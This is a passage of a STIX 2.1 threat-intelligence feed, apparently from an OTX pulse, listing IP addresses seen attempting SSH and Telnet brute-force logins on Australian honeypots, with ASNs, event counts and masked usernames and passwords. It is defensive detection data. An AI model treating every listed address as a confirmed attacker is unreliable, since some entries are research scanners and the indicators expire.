      "valid_until": "2026-05-10T07:15:09.000Z"
    },
    {
      "created": "2026-04-08T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--6501daba-5305-4c16-9876-b73914ced3e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '159.223.119.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T07:15:11.000Z",
      "valid_until": "2026-05-10T07:15:09.000Z"
    },
    {
      "created": "2026-04-08T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--a653049e-e23e-4668-bb4c-861691a6e4b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T07:15:11.000Z",
      "valid_until": "2026-05-10T07:15:09.000Z"
    },
    {
      "created": "2026-04-08T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268467. Organisation(s): Voa Internet.",
      "id": "indicator--6720c2a2-12be-4c57-aeee-c09de7510a30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.161.164.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T07:15:11.000Z",
      "valid_until": "2026-05-10T07:15:09.000Z"
    },
    {
      "created": "2026-04-08T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--c467ebbc-6e57-48cc-83f0-bb172787f2e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T07:15:11.000Z",
      "valid_until": "2026-05-10T07:15:09.000Z"
    },
    {
      "created": "2026-04-08T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--2314ebe5-1f2b-474e-b60b-0c7d601c1182",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '112.25.235.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T08:15:10.000Z",
      "valid_until": "2026-05-10T08:15:08.000Z"
    },
    {
      "created": "2026-04-08T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM. Usernames observed (masked): a***n, r**t, u*******n, z***p. Passwords observed (masked): a***n, #******j, 0**0, 1**1, C********* .",
      "id": "indicator--4fd67da2-8f37-4141-8337-d8c9aba4e315",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.41.81.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T08:15:10.000Z",
      "valid_until": "2026-05-10T08:15:08.000Z"
    },
    {
      "created": "2026-04-08T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--9200c602-64c5-4224-8046-0c65220f44eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.107.1.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T08:15:10.000Z",
      "valid_until": "2026-05-10T08:15:08.000Z"
    },
    {
      "created": "2026-04-08T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215929. Organisation(s): Data Campus Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--34fd9315-d56c-4f2e-8014-a15e0c4ea71a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '193.24.211.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T08:15:10.000Z",
      "valid_until": "2026-05-10T08:15:08.000Z"
    },
    {
      "created": "2026-04-08T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28635. Organisation(s): AVATO TECNOLOGIA S.A.",
      "id": "indicator--21117cdd-5487-4380-8247-8bc1947a7a12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.71.173.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T08:15:10.000Z",
      "valid_until": "2026-05-10T08:15:08.000Z"
    },
    {
      "created": "2026-04-08T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--081cf61c-8a6c-42cf-b500-ecc3c6d20b7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T08:15:10.000Z",
      "valid_until": "2026-05-10T08:15:08.000Z"
    },
    {
      "created": "2026-04-08T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--8d65c3b1-0f14-496c-9a37-b8377847e88a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T08:15:10.000Z",
      "valid_until": "2026-05-10T08:15:08.000Z"
    },
    {
      "created": "2026-04-08T09:16:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 55990. Organisation(s): Huawei Cloud Service data center.",
      "id": "indicator--5fa27db8-0df8-4626-80b3-fba8ee556eee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T09:16:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.41.52.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:16:36.000Z",
      "valid_until": "2026-05-10T09:15:08.000Z"
    },
    {
      "created": "2026-04-08T09:16:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): d****y, r**t. Passwords observed (masked): 1******v, d*******#.",
      "id": "indicator--84e8a888-23cc-48d9-b3ab-2dbd44988272",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T09:16:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.26.36.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:16:36.000Z",
      "valid_until": "2026-05-10T09:15:08.000Z"
    },
    {
      "created": "2026-04-08T09:16:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 133776. Organisation(s): Quanzhou. Usernames observed (masked): r**t. Passwords observed (masked): 1*******e.",
      "id": "indicator--51d9d367-ebd8-49d1-a381-b515abacb9e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T09:16:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.77.133.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:16:36.000Z",
      "valid_until": "2026-05-10T09:15:08.000Z"
    },
    {
      "created": "2026-04-08T09:16:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): o**o. Passwords observed (masked): O****6.",
      "id": "indicator--a0d93a97-22c2-4042-a135-7a9d57460e6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T09:16:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.33.210.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:16:36.000Z",
      "valid_until": "2026-05-10T09:15:08.000Z"
    },
    {
      "created": "2026-04-08T09:16:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--38079a31-1976-41da-8b19-0a85d823b168",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T09:16:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:16:36.000Z",
      "valid_until": "2026-05-10T09:15:08.000Z"
    },
    {
      "created": "2026-04-08T09:16:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137120. Organisation(s): Nas Internet Services Private Limited.",
      "id": "indicator--a89c68a6-fe6f-4848-b50e-e57a69522eae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T09:16:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.115.176.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:16:36.000Z",
      "valid_until": "2026-05-10T09:15:08.000Z"
    },
    {
      "created": "2026-04-08T09:16:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): s***m. Passwords observed (masked): p****c.",
      "id": "indicator--e0760ce2-ab4e-4347-8360-1c78d96daa34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T09:16:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.178.114.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:16:36.000Z",
      "valid_until": "2026-05-10T09:15:08.000Z"
    },
    {
      "created": "2026-04-08T09:16:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 221. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, u****u, ***, j****n, 3**********4. Passwords observed (masked): 1*******e, 1****6, 1******1, 3***********4, 3**********4.",
      "id": "indicator--af74a1d3-ad4c-4c35-bb46-1bcd3d528063",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T09:16:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '52.237.80.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:16:36.000Z",
      "valid_until": "2026-05-10T09:15:08.000Z"
    },
    {
      "created": "2026-04-08T09:16:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--efa16785-05e8-4162-a92b-9709ebda2e11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T09:16:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:16:36.000Z",
      "valid_until": "2026-05-10T09:15:08.000Z"
    },
    {
      "created": "2026-04-08T09:16:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--12d9962d-9852-41c8-9ef1-4aac7de50aba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T09:16:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:16:36.000Z",
      "valid_until": "2026-05-10T09:15:08.000Z"
    },
    {
      "created": "2026-04-08T09:16:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--390ea71b-063a-4ebb-b53b-99b8970a6b72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T09:16:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:16:36.000Z",
      "valid_until": "2026-05-10T09:15:08.000Z"
    },
    {
      "created": "2026-04-08T09:16:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--444f8775-8618-4e4d-a67a-02ec03793b6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T09:16:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:16:36.000Z",
      "valid_until": "2026-05-10T09:15:08.000Z"
    },
    {
      "created": "2026-04-08T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 496. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, u****u, t**t, a****y. Passwords observed (masked): 3***********4, 3**********4, 1******0, 1****0, 1******8.",
      "id": "indicator--ab7b639a-60ad-488a-a7af-05d73cb396bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.232.167.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:15:11.000Z",
      "valid_until": "2026-05-10T10:15:09.000Z"
    },
    {
      "created": "2026-04-08T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 572. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 14259. Organisation(s): Gtd Internet S.A.. Usernames observed (masked): r**t, 3**********4, u****u, t**t, a****y. Passwords observed (masked): 3***********4, 3**********4, 1******0, 1****0, 1******8.",
      "id": "indicator--8fd398df-7a38-4178-9b6f-aa0b48bde56b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.153.249.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:15:11.000Z",
      "valid_until": "2026-05-10T10:15:09.000Z"
    },
    {
      "created": "2026-04-08T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 261. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation. Usernames observed (masked): r**t, a****e, ***, n***x, o****e. Passwords observed (masked): 1****6, !******r, !******X, !******X, 1****1.",
      "id": "indicator--31528ce1-a6fc-4269-9904-162e395c5685",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '197.156.67.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:15:11.000Z",
      "valid_until": "2026-05-10T10:15:09.000Z"
    },
    {
      "created": "2026-04-08T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 572. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, u****u, t**t, a****y. Passwords observed (masked): 3***********4, 3**********4, 1******0, 1****0, 1******8.",
      "id": "indicator--82b3a68f-712f-4de5-84eb-3479ea4572a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '210.79.190.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:15:11.000Z",
      "valid_until": "2026-05-10T10:15:09.000Z"
    },
    {
      "created": "2026-04-08T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company. Usernames observed (masked): r**t, ***, 3**********4, d****y, o******r. Passwords observed (masked): 1****6, 3***********4, 3**********4, A*********., G******3.",
      "id": "indicator--fc36092f-235f-4d56-a9c1-4ae82cc6a245",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.230.127.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:15:11.000Z",
      "valid_until": "2026-05-10T10:15:09.000Z"
    },
    {
      "created": "2026-04-08T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 226. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, ***, t****1, j*****s. Passwords observed (masked): 3***********4, 3**********4, 1****6, A*********., G******3.",
      "id": "indicator--599ce174-2b4e-4341-aa3c-1d746658d486",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '52.233.193.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:15:11.000Z",
      "valid_until": "2026-05-10T10:15:09.000Z"
    },
    {
      "created": "2026-04-08T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--76583976-535d-482c-bb3e-6bedca55fc99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.221.136.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:15:11.000Z",
      "valid_until": "2026-05-10T10:15:09.000Z"
    },
    {
      "created": "2026-04-08T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--98c9183c-c33e-45b2-b65a-8c0f87a86cbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '112.93.200.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:15:10.000Z",
      "valid_until": "2026-05-10T11:15:08.000Z"
    },
    {
      "created": "2026-04-08T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--34e112a7-3155-43a5-9448-76f467cd675b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:15:10.000Z",
      "valid_until": "2026-05-10T11:15:08.000Z"
    },
    {
      "created": "2026-04-08T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 1080. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): *. Passwords observed (masked): *.",
      "id": "indicator--c6ec3839-ea98-492c-a8c0-31cfa3698212",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:15:10.000Z",
      "valid_until": "2026-05-10T11:15:08.000Z"
    },
    {
      "created": "2026-04-08T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 1080. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): a***n, r**t. Passwords observed (masked): ***, 1****6, r**t.",
      "id": "indicator--a1346a1c-25ce-4a0f-ae6f-56da8de76aa1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:15:10.000Z",
      "valid_until": "2026-05-10T11:15:08.000Z"
    },
    {
      "created": "2026-04-08T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 1080. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): ***, ***, t**t. Passwords observed (masked): ***, ***, t**t.",
      "id": "indicator--348edbb4-42d9-4e42-bdc3-b7b75e620d2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
